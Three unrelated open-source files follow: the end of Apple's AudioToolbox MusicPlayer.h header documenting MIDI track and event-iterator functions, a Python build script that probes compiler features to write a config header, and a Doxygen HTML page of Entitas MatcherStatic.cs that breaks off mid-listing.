//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ // Editing operations on sequence tracks /*! @function MusicTrackMoveEvents @abstract Move events in a track @discussion Moves all of the events in the specified time range by the moveTime. MoveTime maybe negative to move events backwards (towards zero). All time ranges are [starttime < endtime] @param inTrack the track @param inStartTime the start time for the range of events @param inEndTime the end time up to which will form the range of the events to move @param inMoveTime amount of beats to move the selected events. */ extern OSStatus MusicTrackMoveEvents( MusicTrack inTrack, MusicTimeStamp inStartTime, MusicTimeStamp inEndTime, MusicTimeStamp inMoveTime) __OSX_AVAILABLE_STARTING(__MAC_10_0,__IPHONE_5_0); /*! @function MusicTrackClear @abstract Removes all events within the specified range @discussion All time ranges are [starttime < endtime] @param inTrack the track @param inStartTime the start time for the range of events @param inEndTime the end time up to which will form the range of the events to clear */ extern OSStatus MusicTrackClear( MusicTrack inTrack, MusicTimeStamp inStartTime, MusicTimeStamp inEndTime) __OSX_AVAILABLE_STARTING(__MAC_10_0,__IPHONE_5_0); /*! @function MusicTrackCut @abstract Removes all the events within the specified range @discussion Events that fall past the specified range will be moved back by the specified range time. All time ranges are [starttime < endtime] @param inTrack the track @param inStartTime the start time for the range of events @param inEndTime the end time up to which will form the range of the events to cut out */ extern OSStatus MusicTrackCut( MusicTrack inTrack, MusicTimeStamp inStartTime, MusicTimeStamp inEndTime) __OSX_AVAILABLE_STARTING(__MAC_10_0,__IPHONE_5_0); /*! @function MusicTrackCopyInsert @abstract Copies events from one track and inserts them into another @discussion Copies all of the events with the specified time range of the source track. It then inserts those events into the destination track. All events at and after inDestInsertTime in inDestTrack are moved forward by the range's duration All time ranges are [starttime < endtime] @param inSourceTrack the source track @param inSourceStartTime the start time for the range of events @param inSourceEndTime the end time up to which will form the range of the events to copy from the source track @param inDestTrack the destination track to copy too @param inDestInsertTime the time at which the copied events will be inserted. */ extern OSStatus MusicTrackCopyInsert( MusicTrack inSourceTrack, MusicTimeStamp inSourceStartTime, MusicTimeStamp inSourceEndTime, MusicTrack inDestTrack, MusicTimeStamp inDestInsertTime) __OSX_AVAILABLE_STARTING(__MAC_10_0,__IPHONE_5_0); /*! @function MusicTrackMerge @abstract Copies events from one track and merges them into another @discussion Copies all of the events with the specified time range of the source track. It then merges those events into the destination track starting at inDestInsertTime. All time ranges are [starttime < endtime] @param inSourceTrack the source track @param inSourceStartTime the start time for the range of events @param inSourceEndTime the end time up to which will form the range of the events to copy from the source track @param inDestTrack the destination track to copy too @param inDestInsertTime the time at which the copied events will be merged. */ extern OSStatus MusicTrackMerge( MusicTrack inSourceTrack, MusicTimeStamp inSourceStartTime, MusicTimeStamp inSourceEndTime, MusicTrack inDestTrack, MusicTimeStamp inDestInsertTime) __OSX_AVAILABLE_STARTING(__MAC_10_0,__IPHONE_5_0); //===================================================================================================================== #pragma mark - //===================================================================================================================== #pragma mark Music Events /*! @functiongroup Music Events */ //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ // adding time-stamped events to the track /*! @function MusicTrackNewMIDINoteEvent @abstract Adds a MIDINoteMessage event to a track @discussion The event is added at the specified time stamp. The time stamp should not be less than zero. @param inTrack the track @param inTimeStamp the time stamp @param inMessage the event */ extern OSStatus MusicTrackNewMIDINoteEvent( MusicTrack inTrack, MusicTimeStamp inTimeStamp, const MIDINoteMessage * inMessage) __OSX_AVAILABLE_STARTING(__MAC_10_0,__IPHONE_5_0); /*! @function MusicTrackNewMIDIChannelEvent @abstract Adds a MIDIChannelMessage event to a track @discussion The event is added at the specified time stamp. The time stamp should not be less than zero. @param inTrack the track @param inTimeStamp the time stamp @param inMessage the event */ extern OSStatus MusicTrackNewMIDIChannelEvent( MusicTrack inTrack, MusicTimeStamp inTimeStamp, const MIDIChannelMessage * inMessage) __OSX_AVAILABLE_STARTING(__MAC_10_0,__IPHONE_5_0); /*! @function MusicTrackNewMIDIRawDataEvent @abstract Adds a MIDIRawData event to a track @discussion The event is added at the specified time stamp. The time stamp should not be less than zero. @param inTrack the track @param inTimeStamp the time stamp @param inRawData the event */ extern OSStatus MusicTrackNewMIDIRawDataEvent( MusicTrack inTrack, MusicTimeStamp inTimeStamp, const MIDIRawData * inRawData) __OSX_AVAILABLE_STARTING(__MAC_10_0,__IPHONE_5_0); /*! @function MusicTrackNewExtendedNoteEvent @abstract Adds a ExtendedNoteOnEvent to a track @discussion The event is added at the specified time stamp. The time stamp should not be less than zero. @param inTrack the track @param inTimeStamp the time stamp @param inInfo the event */ extern OSStatus MusicTrackNewExtendedNoteEvent( MusicTrack inTrack, MusicTimeStamp inTimeStamp, const ExtendedNoteOnEvent *inInfo) __OSX_AVAILABLE_STARTING(__MAC_10_0,__IPHONE_5_0); /*! @function MusicTrackNewParameterEvent @abstract Adds a ParameterEvent to a track @discussion The event is added at the specified time stamp. The time stamp should not be less than zero. @param inTrack the track @param inTimeStamp the time stamp @param inInfo the event */ extern OSStatus MusicTrackNewParameterEvent( MusicTrack inTrack, MusicTimeStamp inTimeStamp, const ParameterEvent * inInfo) __OSX_AVAILABLE_STARTING(__MAC_10_2,__IPHONE_5_0); /*! @function MusicTrackNewExtendedTempoEvent @abstract Adds a tempo event to a track @discussion The event is added at the specified time stamp. The time stamp should not be less than zero. @param inTrack the track @param inTimeStamp the time stamp @param inBPM the event */ extern OSStatus MusicTrackNewExtendedTempoEvent( MusicTrack inTrack, MusicTimeStamp inTimeStamp, Float64 inBPM) __OSX_AVAILABLE_STARTING(__MAC_10_0,__IPHONE_5_0); /*! @function MusicTrackNewMetaEvent @abstract Adds a MIDIMetaEvent to a track @discussion The event is added at the specified time stamp. The time stamp should not be less than zero. @param inTrack the track @param inTimeStamp the time stamp @param inMetaEvent the event */ extern OSStatus MusicTrackNewMetaEvent( MusicTrack inTrack, MusicTimeStamp inTimeStamp, const MIDIMetaEvent * inMetaEvent) __OSX_AVAILABLE_STARTING(__MAC_10_0,__IPHONE_5_0); /*! @function MusicEventUserData @abstract Adds a MusicEventUserData event to a track @discussion The event is added at the specified time stamp. The time stamp should not be less than zero. @param inTrack the track @param inTimeStamp the time stamp @param inUserData the event */ extern OSStatus MusicTrackNewUserEvent( MusicTrack inTrack, MusicTimeStamp inTimeStamp, const MusicEventUserData * inUserData) __OSX_AVAILABLE_STARTING(__MAC_10_0,__IPHONE_5_0); /*! @function MusicTrackNewAUPresetEvent @abstract Adds a AUPresetEvent to a track @discussion The event is added at the specified time stamp. The time stamp should not be less than zero. @param inTrack the track @param inTimeStamp the time stamp @param inPresetEvent the event */ extern OSStatus MusicTrackNewAUPresetEvent( MusicTrack inTrack, MusicTimeStamp inTimeStamp, const AUPresetEvent * inPresetEvent) __OSX_AVAILABLE_STARTING(__MAC_10_3,__IPHONE_5_0); //===================================================================================================================== #pragma mark - //===================================================================================================================== #pragma mark Music Event Iterator /*! @functiongroup Music Event Iterator */ //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ // actual event representation and manipulation within a track.... // // Here we need to be very careful to be able to deal with both SMF type of MIDI events, and // also be upwardly compatible with an extended MPEG4-SA like paradigm! // // The solution is to hide the internal event representation from the client // and allow access to the events through accessor functions. The user, in this way, can // examine and create standard events, or any user-defined event. /*! @function NewMusicEventIterator @abstract Creates an iterator to iterator over a track's events @discussion The iterator should be considered invalid if a track is edited. In that case you should create a new iterator and seek it to the desired position. @param inTrack the track upon which to iterate @param outIterator the new iterator */ extern OSStatus NewMusicEventIterator( MusicTrack inTrack, MusicEventIterator __nullable * __nonnull outIterator) __OSX_AVAILABLE_STARTING(__MAC_10_0,__IPHONE_5_0); /*! @function DisposeMusicEventIterator @abstract Dispose an iterator @param inIterator the iterator */ extern OSStatus DisposeMusicEventIterator( MusicEventIterator inIterator) __OSX_AVAILABLE_STARTING(__MAC_10_0,__IPHONE_5_0); /*! @function MusicEventIteratorSeek @abstract Move the iterator to an event at the specified time @discussion If there is no event at the specified time, the iterator will point to the first event after that time. By specifying kMusicTimeStamp_EndOfTrack you will position the iterator to the end of track (which is pointing to the space just AFTER the last event). You can use MusicEventIteratorPreviousEvent to backup to the last event. By specifying 0, you will position the iterator at the first event @param inIterator the iterator @param inTimeStamp the time stamp to seek too */ extern OSStatus MusicEventIteratorSeek( MusicEventIterator inIterator, MusicTimeStamp inTimeStamp) __OSX_AVAILABLE_STARTING(__MAC_10_0,__IPHONE_5_0); /*! @function MusicEventIteratorNextEvent @abstract Move the iterator to the next event @discussion If the iterator was at the last event, then it will move past the last event and will no longer point to an event. You can use check MusicEventIteratorHasCurrentEvent to see if there is an event at the iterator's current position. See also MusicEventIteratorHasNextEvent. Typically this call is used to move the iterator forwards through the track's events. @param inIterator the iterator */ extern OSStatus MusicEventIteratorNextEvent( MusicEventIterator inIterator) __OSX_AVAILABLE_STARTING(__MAC_10_0,__IPHONE_5_0); /*! @function MusicEventIteratorPreviousEvent @abstract Move the iterator to the previous event @discussion If the iterator was at the first event, then it will leave the iterator unchanged and return an error. See also MusicEventIteratorHasPreviousEvent Typically this call is used to move the iterator backwards through the track's events. @param inIterator the iterator */ extern OSStatus MusicEventIteratorPreviousEvent( MusicEventIterator inIterator) __OSX_AVAILABLE_STARTING(__MAC_10_0,__IPHONE_5_0); /*! @function MusicEventIteratorGetEventInfo @abstract Retrieves the event data at the iterator. @discussion Retrieves the event and other information from the iterator's current position. If you do not want specific information (eg, the time stamp) pass in NULL for that parameter. @param inIterator the iterator @param outTimeStamp the time stamp of the event @param outEventType one of kMusicEventType_XXX that indicates what kind of event type the iterator is currently pointing too @param outEventData a reference to the event data. The type of data is described by the eventType. This data is read only and should not be edited in place. @param outEventDataSize the size of the data referenced by outEventData */ extern OSStatus MusicEventIteratorGetEventInfo( MusicEventIterator inIterator, MusicTimeStamp * outTimeStamp, MusicEventType * outEventType, const void * __nullable * __nonnull outEventData, UInt32 * outEventDataSize) __OSX_AVAILABLE_STARTING(__MAC_10_0,__IPHONE_5_0); /*! @function MusicEventIteratorSetEventInfo @abstract Changes the type or value of an event @discussion Allows you to change either the event type, or the values of the event data, that the iterator is currently pointing too. You cannot change the event's time (to do that you should use MusicEventIteratorSetEventTime). @param inIterator the iterator @param inEventType the new (or existing) type of the event you are changing @param inEventData the new event data. The size and type of this event data must match the inEventType */ extern OSStatus MusicEventIteratorSetEventInfo( MusicEventIterator inIterator, MusicEventType inEventType, const void * inEventData) __OSX_AVAILABLE_STARTING(__MAC_10_2,__IPHONE_5_0); /*! @function MusicEventIteratorSetEventTime @abstract Set a new time for an event @discussion The iterator will still be pointing to the same event, but as the event will have moved, it may or may not have a next or previous event now (depending of course on the time you moved it too). @param inIterator the iterator @param inTimeStamp the new time stamp of the event */ extern OSStatus MusicEventIteratorSetEventTime( MusicEventIterator inIterator, MusicTimeStamp inTimeStamp) __OSX_AVAILABLE_STARTING(__MAC_10_0,__IPHONE_5_0); /*! @function MusicEventIteratorDeleteEvent @abstract Deletes the event pointed to by the iterator @discussion The iterator will reference the next event after the event has been deleted. @param inIterator the iterator */ extern OSStatus MusicEventIteratorDeleteEvent( MusicEventIterator inIterator) __OSX_AVAILABLE_STARTING(__MAC_10_0,__IPHONE_5_0); /*! @function MusicEventIteratorHasPreviousEvent @abstract Does the track have an event previous to the event the iterator is pointing to? @discussion To use the iterator going backwards through a track: iter = New Iterator (points at first event) MusicEventIteratorSeek (iter, kMusicTimeStamp_EndOfTrack) // will point it past the last event bool hasPreviousEvent; MusicEventIteratorHasPreviousEvent (iter, &hasPreviousEvent) while (hasPreviousEvent) { MusicEventIteratorPreviousEvent (iter) // do work... MusicEventIteratorGetEventInfo (iter, ... MusicEventIteratorHasPreviousEvent (iter, &hasPreviousEvent); } @param inIterator the iterator @param outHasPrevEvent true if there is a previous event, false if not */ extern OSStatus MusicEventIteratorHasPreviousEvent( MusicEventIterator inIterator, Boolean * outHasPrevEvent) __OSX_AVAILABLE_STARTING(__MAC_10_0,__IPHONE_5_0); /*! @function MusicEventIteratorHasNextEvent @abstract Does the track have an event past the event the iterator is pointing too? @discussion To use the iterator going forwards through a track: iter = New Iterator (points at first event) bool hasCurrentEvent; MusicEventIteratorHasCurrentEvent(iter, &hasCurrentEvent); while (hasCurrentEvent) { // do work... MusicEventIteratorGetEventInfo (iter, ... MusicEventIteratorNextEvent (iter) MusicEventIteratorHasCurrentEvent(iter, &hasCurrentEvent); } @param inIterator the iterator @param outHasNextEvent true if there is a next event, false if not */ extern OSStatus MusicEventIteratorHasNextEvent( MusicEventIterator inIterator, Boolean * outHasNextEvent) __OSX_AVAILABLE_STARTING(__MAC_10_0,__IPHONE_5_0); /*! @function MusicEventIteratorHasCurrentEvent @abstract Is there an event at the iterator's current position? @param inIterator the iterator @param outHasCurEvent true if there is an event, false if not */ extern OSStatus MusicEventIteratorHasCurrentEvent( MusicEventIterator inIterator, Boolean * outHasCurEvent) __OSX_AVAILABLE_STARTING(__MAC_10_2,__IPHONE_5_0); //===================================================================================================================== #pragma mark - #pragma mark -- Deprecated // standard MIDI files (SMF, and RMF) // MusicSequenceLoadSMF() also intelligently parses an RMID file to extract SMF part #if !__LP64__ extern OSStatus MusicSequenceLoadSMFData( MusicSequence inSequence, CFDataRef inData) __OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_2,__MAC_10_5, __IPHONE_NA, __IPHONE_NA); #endif // !__LP64__ // passing a value of zero for the flags makes this call equivalent to MusicSequenceLoadSMFData // a kAudio_ParamError is returned if the sequence has ANY data in it and the flags value is != 0 // This will create a sequence with the first tracks containing MIDI Channel data // IF the MIDI file had Meta events or SysEx data, then the last track in the sequence // will contain that data. extern OSStatus MusicSequenceLoadSMFWithFlags( MusicSequence inSequence, const struct FSRef * inFileRef, MusicSequenceLoadFlags inFlags) __OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_3,__MAC_10_5, __IPHONE_NA, __IPHONE_NA); extern OSStatus MusicSequenceLoadSMFDataWithFlags( MusicSequence inSequence, CFDataRef inData, MusicSequenceLoadFlags inFlags) __OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_3,__MAC_10_5, __IPHONE_NA, __IPHONE_NA); // inFlags must be zero extern OSStatus MusicSequenceSaveMIDIFile( MusicSequence inSequence, const struct FSRef *inParentDirectory, CFStringRef inFileName, UInt16 inResolution, UInt32 inFlags) __OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4,__MAC_10_5, __IPHONE_NA, __IPHONE_NA); extern OSStatus MusicSequenceSaveSMFData( MusicSequence inSequence, CFDataRef __nullable * __nonnull outData, UInt16 inResolution) __OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_2,__MAC_10_5, __IPHONE_NA, __IPHONE_NA); extern OSStatus NewMusicTrackFrom( MusicTrack inSourceTrack, MusicTimeStamp inSourceStartTime, MusicTimeStamp inSourceEndTime, MusicTrack __nullable * __nonnull outNewTrack) __OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_0,__MAC_10_6, __IPHONE_NA, __IPHONE_NA); #if !TARGET_OS_IPHONE enum { kMusicEventType_ExtendedControl = 2 }; typedef struct ExtendedControlEvent { MusicDeviceGroupID groupID; AudioUnitParameterID controlID; AudioUnitParameterValue value; } ExtendedControlEvent; extern OSStatus MusicTrackNewExtendedControlEvent( MusicTrack inTrack, MusicTimeStamp inTimeStamp, const ExtendedControlEvent *inInfo) __OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_0,__MAC_10_7, __IPHONE_NA, __IPHONE_NA); #endif #if defined(__cplusplus) } #endif CF_ASSUME_NONNULL_END #endif // AudioToolbox_MusicPlayer_h
{ "pile_set_name": "Github" }
""" Based on numpy's approach to exposing compiler features via a config header. Unfortunately that file is not exposed, so re-implement the portions we need. """ import os import sys import textwrap from distutils.command.config import config as Config from typing import List OPTIONAL_FUNCTION_ATTRIBUTES = [ ("HAVE_ATTRIBUTE_OPTIMIZE_OPT_3", '__attribute__((optimize("O3")))') ] OPTIONAL_HEADERS = [("HAVE_SSE2", "emmintrin.h")] OPTIONAL_INTRINSICS = [ ("HAVE___BUILTIN_ISNAN", "__builtin_isnan", "0."), ("HAVE_ISNAN", "isnan", "0."), ("HAVE__ISNAN", "_isnan", "0."), ] def get_python_header_include() -> List[str]: if sys.platform == "win32": suffix = ["include"] else: suffix = ["include", "python" + sys.version[:3] + sys.abiflags] results = [] for prefix in [sys.prefix, sys.exec_prefix]: results.append(os.path.join(prefix, *suffix)) return results def _get_compiler_list(cmd: Config) -> str: """Return the compiler command as a list of strings. Distutils provides a wildly inconsistent API here: - UnixCCompiler returns a list - MSVCCompiler intentionally doesn't set this variable - CygwinCompiler returns a string As we are focused on identifying gcc vs clang right now, we ignore MSVC's bad result and convert all results into lists of strings """ compiler = getattr(cmd.compiler, "compiler", "") if isinstance(compiler, str): compiler = compiler.split() return compiler def is_gcc(cmd: Config) -> bool: return any("gcc" in x for x in _get_compiler_list(cmd)) def is_clang(cmd: Config) -> bool: return any("clang" in x for x in _get_compiler_list(cmd)) def check_inline(cmd: Config) -> str: """Return the inline identifier (may be empty).""" body = textwrap.dedent( """ #ifndef __cplusplus static %(inline)s int static_func (void) { return 0; } %(inline)s int nostatic_func (void) { return 0; } #endif int main(void) { int r1 = static_func(); int r2 = nostatic_func(); return r1 + r2; } """ ) for kw in ["inline", "__inline__", "__inline"]: st = cmd.try_compile(body % {"inline": kw}, None, None) if st: return kw return "" def check_gcc_function_attribute(cmd: Config, attribute: str, name: str) -> bool: """Return True if the given function attribute is supported.""" if is_gcc(cmd): pragma = '#pragma GCC diagnostic error "-Wattributes"' elif is_clang(cmd): pragma = '#pragma clang diagnostic error "-Wattributes"' else: pragma = "" body = ( textwrap.dedent( """ %s int %s %s(void*); int main(void) { return 0; } """ ) % (pragma, attribute, name) ) if cmd.try_compile(body, None, None): return True else: return False def check_gcc_header(cmd: Config, header: str) -> bool: return cmd.check_header( header, include_dirs=get_python_header_include(), ) def check_gcc_intrinsic(cmd: Config, intrinsic: str, value: str) -> bool: """Return True if the given intrinsic is supported.""" body = ( textwrap.dedent( """ int check(void) { return %s(%s); } int main(void) { return check(); } """ ) % (intrinsic, value) ) if cmd.try_link(body, headers=["math.h"]): return True else: return False def create_config_h(config: Config) -> None: dirname = os.path.dirname(__file__) config_h = os.path.join(dirname, "bn_config.h") if ( os.path.exists(config_h) and os.stat(__file__).st_mtime < os.stat(config_h).st_mtime ): return if not check_gcc_header(config, "Python.h"): raise ValueError( """Cannot compile a trivial program with Python.h! Please check the following: - A supported compiler is installed - Python development libraries are installed For detailed installation instructions, please see: https://bottleneck.readthedocs.io/en/latest/installing.html """ ) output = [] for config_attr, func_attr in OPTIONAL_FUNCTION_ATTRIBUTES: if check_gcc_function_attribute(config, func_attr, config_attr.lower()): output.append((config_attr, "1")) else: output.append((config_attr, "0")) for config_attr, header in OPTIONAL_HEADERS: if check_gcc_header(config, header): output.append((config_attr, "1")) else: output.append((config_attr, "0")) for config_attr, intrinsic, value in OPTIONAL_INTRINSICS: if check_gcc_intrinsic(config, intrinsic, value): output.append((config_attr, "1")) else: output.append((config_attr, "0")) inline_alias = check_inline(config) with open(config_h, "w") as f: for setting in output: f.write("#define {} {}\n".format(*setting)) if inline_alias == "inline": f.write("/* undef inline */\n") else: f.write("#define inline {}\n".format(inline_alias)) # ISO C requires every translation unit to have 1+ declarations f.write("typedef int _make_iso_compilers_happy;\n")
{ "pile_set_name": "Github" }
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "https://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/> <meta http-equiv="X-UA-Compatible" content="IE=9"/> <meta name="generator" content="Doxygen 1.8.15"/> <meta name="viewport" content="width=device-width, initial-scale=1"/> <title>Entitas: Entitas/Entitas/Matcher/MatcherStatic.cs Source File</title> <link href="tabs.css" rel="stylesheet" type="text/css"/> <script type="text/javascript" src="jquery.js"></script> <script type="text/javascript" src="dynsections.js"></script> <link href="navtree.css" rel="stylesheet" type="text/css"/> <script type="text/javascript" src="resize.js"></script> <script type="text/javascript" src="navtreedata.js"></script> <script type="text/javascript" src="navtree.js"></script> <script type="text/javascript"> /* @license magnet:?xt=urn:btih:cf05388f2679ee054f2beb29a391d25f4e673ac3&amp;dn=gpl-2.0.txt GPL-v2 */ $(document).ready(initResizable); /* @license-end */</script> <link href="search/search.css" rel="stylesheet" type="text/css"/> <script type="text/javascript" src="search/searchdata.js"></script> <script type="text/javascript" src="search/search.js"></script> <link href="doxygen.css" rel="stylesheet" type="text/css" /> </head> <body> <div id="top"><!-- do not remove this div, it is closed by doxygen! --> <div id="titlearea"> <table cellspacing="0" cellpadding="0"> <tbody> <tr style="height: 56px;"> <td id="projectlogo"><img alt="Logo" src="docs-logo.png"/></td> <td id="projectalign" style="padding-left: 0.5em;"> <div id="projectname">Entitas &#160;<span id="projectnumber">1.13.0</span> </div> <div id="projectbrief">Entitas is a super fast Entity Component System (ECS) Framework specifically made for C# and Unity</div> </td> </tr> </tbody> </table> </div> <!-- end header part --> <!-- Generated by Doxygen 1.8.15 --> <script type="text/javascript"> /* @license magnet:?xt=urn:btih:cf05388f2679ee054f2beb29a391d25f4e673ac3&amp;dn=gpl-2.0.txt GPL-v2 */ var searchBox = new SearchBox("searchBox", "search",false,'Search'); /* @license-end */ </script> <script type="text/javascript" src="menudata.js"></script> <script type="text/javascript" src="menu.js"></script> <script type="text/javascript"> /* @license magnet:?xt=urn:btih:cf05388f2679ee054f2beb29a391d25f4e673ac3&amp;dn=gpl-2.0.txt GPL-v2 */ $(function() { initMenu('',true,false,'search.php','Search'); $(document).ready(function() { init_search(); }); }); /* @license-end */</script> <div id="main-nav"></div> </div><!-- top --> <div id="side-nav" class="ui-resizable side-nav-resizable"> <div id="nav-tree"> <div id="nav-tree-contents"> <div id="nav-sync" class="sync"></div> </div> </div> <div id="splitbar" style="-moz-user-select:none;" class="ui-resizable-handle"> </div> </div> <script type="text/javascript"> /* @license magnet:?xt=urn:btih:cf05388f2679ee054f2beb29a391d25f4e673ac3&amp;dn=gpl-2.0.txt GPL-v2 */ $(document).ready(function(){initNavTree('_matcher_static_8cs_source.html','');}); /* @license-end */ </script> <div id="doc-content"> <!-- window showing the filter options --> <div id="MSearchSelectWindow" onmouseover="return searchBox.OnSearchSelectShow()" onmouseout="return searchBox.OnSearchSelectHide()" onkeydown="return searchBox.OnSearchSelectKey(event)"> </div> <!-- iframe showing the search results (closed by default) --> <div id="MSearchResultsWindow"> <iframe src="javascript:void(0)" frameborder="0" name="MSearchResults" id="MSearchResults"> </iframe> </div> <div class="header"> <div class="headertitle"> <div class="title">MatcherStatic.cs</div> </div> </div><!--header--> <div class="contents"> <div class="fragment"><div class="line"><a name="l00001"></a><span class="lineno"> 1</span>&#160;<span class="keyword">using</span> System;</div><div class="line"><a name="l00002"></a><span class="lineno"> 2</span>&#160;<span class="keyword">using</span> System.Collections.Generic;</div><div class="line"><a name="l00003"></a><span class="lineno"> 3</span>&#160;</div><div class="line"><a name="l00004"></a><span class="lineno"> 4</span>&#160;<span class="keyword">namespace </span><a class="code" href="namespace_entitas.html">Entitas</a> {</div><div class="line"><a name="l00005"></a><span class="lineno"> 5</span>&#160;</div><div class="line"><a name="l00006"></a><span class="lineno"><a class="line" href="class_entitas_1_1_matcher.html"> 6</a></span>&#160; <span class="keyword">public</span> <span class="keyword">partial class </span><a class="code" href="class_entitas_1_1_matcher.html">Matcher</a>&lt;TEntity&gt; {</div><div class="line"><a name="l00007"></a><span class="lineno"> 7</span>&#160;</div><div class="line"><a name="l00008"></a><span class="lineno"> 8</span>&#160; <span class="keyword">static</span> readonly List&lt;int&gt; _indexBuffer = <span class="keyword">new</span> List&lt;int&gt;();</div><div class="line"><a name="l00009"></a><span class="lineno"> 9</span>&#160; <span class="keyword">static</span> readonly HashSet&lt;int&gt; _indexSetBuffer = <span class="keyword">new</span> HashSet&lt;int&gt;();</div><div class="line"><a name="l00010"></a><span class="lineno"> 10</span>&#160;</div><div class="line"><a name="l00011"></a><span class="lineno"> 11</span>&#160; <span class="keyword">public</span> <span class="keyword">static</span> <a class="code" href="interface_entitas_1_1_i_all_of_matcher.html">IAllOfMatcher&lt;TEntity&gt;</a> AllOf(params <span class="keywordtype">int</span>[] indices) {</div><div class="line"><a name="l00012"></a><span class="lineno"> 12</span>&#160; var matcher = <span class="keyword">new</span> <a class="code" href="class_entitas_1_1_matcher.html">Matcher&lt;TEntity&gt;</a>();</div><div class="line"><a name="l00013"></a><span class="lineno"> 13</span>&#160; matcher._allOfIndices = distinctIndices(indices);</div><div class="line"><a name="l00014"></a><span class="lineno"> 14</span>&#160; <span class="keywordflow">return</span> matcher;</div><div class="line"><a name="l00015"></a><span class="lineno"> 15</span>&#160; }</div><div class="line"><a name="l00016"></a><span class="lineno"> 16</span>&#160;</div><div class="line"><a name="l00017"></a><span class="lineno"> 17</span>&#160; <span class="keyword">public</span> <span class="keyword">static</span> <a class="code" href="interface_entitas_1_1_i_all_of_matcher.html">IAllOfMatcher&lt;TEntity&gt;</a> AllOf(params <a class="code" href="interface_entitas_1_1_i_matcher.html">IMatcher&lt;TEntity&gt;</a>[] matchers) {</div><div class="line"><a name="l00018"></a><span class="lineno"> 18</span>&#160; var allOfMatcher = (<a class="code" href="class_entitas_1_1_matcher.html">Matcher&lt;TEntity&gt;</a>)<a class="code" href="class_entitas_1_1_matcher.html">Matcher&lt;TEntity&gt;</a>.AllOf(mergeIndices(matchers));</div><div class="line"><a name="l00019"></a><span class="lineno"> 19</span>&#160; setComponentNames(allOfMatcher, matchers);</div><div class="line"><a name="l00020"></a><span class="lineno"> 20</span>&#160; <span class="keywordflow">return</span> allOfMatcher;</div><div class="line"><a name="l00021"></a><span class="lineno"> 21</span>&#160; }</div><div class="line"><a name="l00022"></a><span class="lineno"> 22</span>&#160;</div><div class="line"><a name="l00023"></a><span class="lineno"> 23</span>&#160; <span class="keyword">public</span> <span class="keyword">static</span> <a class="code" href="interface_entitas_1_1_i_any_of_matcher.html">IAnyOfMatcher&lt;TEntity&gt;</a> AnyOf(params <span class="keywordtype">int</span>[] indices) {</div><div class="line"><a name="l00024"></a><span class="lineno"> 24</span>&#160; var matcher = <span class="keyword">new</span> <a class="code" href="class_entitas_1_1_matcher.html">Matcher&lt;TEntity&gt;</a>();</div><div class="line"><a name="l00025"></a><span class="lineno"> 25</span>&#160; matcher._anyOfIndices = distinctIndices(indices);</div><div class="line"><a name="l00026"></a><span class="lineno"> 26</span>&#160; <span class="keywordflow">return</span> matcher;</div><div class="line"><a name="l00027"></a><span class="lineno"> 27</span>&#160; }</div><div class="line"><a name="l00028"></a><span class="lineno"> 28</span>&#160;</div><div class="line"><a name="l00029"></a><span class="lineno"> 29</span>&#160; <span class="keyword">public</span> <span class="keyword">static</span> <a class="code" href="interface_entitas_1_1_i_any_of_matcher.html">IAnyOfMatcher&lt;TEntity&gt;</a> AnyOf(params <a class="code" href="interface_entitas_1_1_i_matcher.html">IMatcher&lt;TEntity&gt;</a>[] matchers) {</div><div class="line"><a name="l00030"></a><span class="lineno"> 30</span>&#160; var anyOfMatcher = (<a class="code" href="class_entitas_1_1_matcher.html">Matcher&lt;TEntity&gt;</a>)<a class="code" href="class_entitas_1_1_matcher.html">Matcher&lt;TEntity&gt;</a>.AnyOf(mergeIndices(matchers));</div><div class="line"><a name="l00031"></a><span class="lineno"> 31</span>&#160; setComponentNames(anyOfMatcher, matchers);</div><div class="line"><a name="l00032"></a><span class="lineno"> 32</span>&#160; <span class="keywordflow">return</span> anyOfMatcher;</div><div class="line"><a name="l00033"></a><span class="lineno"> 33</span>&#160; }</div><div class="line"><a name="l00034"></a><span class="lineno"> 34</span>&#160;</div><div class="line"><a name="l00035"></a><span class="lineno"> 35</span>&#160; <span class="keyword">static</span> <span class="keywordtype">int</span>[] mergeIndices(<span class="keywordtype">int</span>[] allOfIndices, <span class="keywordtype">int</span>[] anyOfIndices, <span class="keywordtype">int</span>[] noneOfIndices) {</div><div class="line"><a name="l00036"></a><span class="lineno"> 36</span>&#160; <span class="keywordflow">if</span> (allOfIndices != <span class="keyword">null</span>) {</div><div class="line"><a name="l00037"></a><span class="lineno"> 37</span>&#160; _indexBuffer.AddRange(allOfIndices);</div><div class="line"><a name="l00038"></a><span class="lineno"> 38</span>&#160; }</div><div class="line"><a name="l00039"></a><span class="lineno"> 39</span>&#160; <span class="keywordflow">if</span> (anyOfIndices != <span class="keyword">null</span>) {</div><div class="line"><a name="l00040"></a><span class="lineno"> 40</span>&#160; _indexBuffer.AddRange(anyOfIndices);</div><div class="line"><a name="l00041"></a><span class="lineno"> 41</span>&#160; }</div><div class="line"><a name="l00042"></a><span class="lineno"> 42</span>&#160; <span class="keywordflow">if</span> (noneOfIndices != <span class="keyword">null</span>) {</div><div class="line"><a name="l00043"></a><span class="lineno"> 43</span>&#160; _indexBuffer.AddRange(noneOfIndices);</div><div class="line"><a name="l00044"></a><span class="lineno"> 44</span>&#160; }</div><div class="line"><a name="l00045"></a><span class="lineno"> 45</span>&#160;</div><div class="line"><a name="l00046"></a><span class="lineno"> 46</span>&#160; var mergedIndices = distinctIndices(_indexBuffer);</div><div class="line"><a name="l00047"></a><span class="lineno"> 47</span>&#160;</div><div class="line"><a name="l00048"></a><span class="lineno"> 48</span>&#160; _indexBuffer.Clear();</div><div 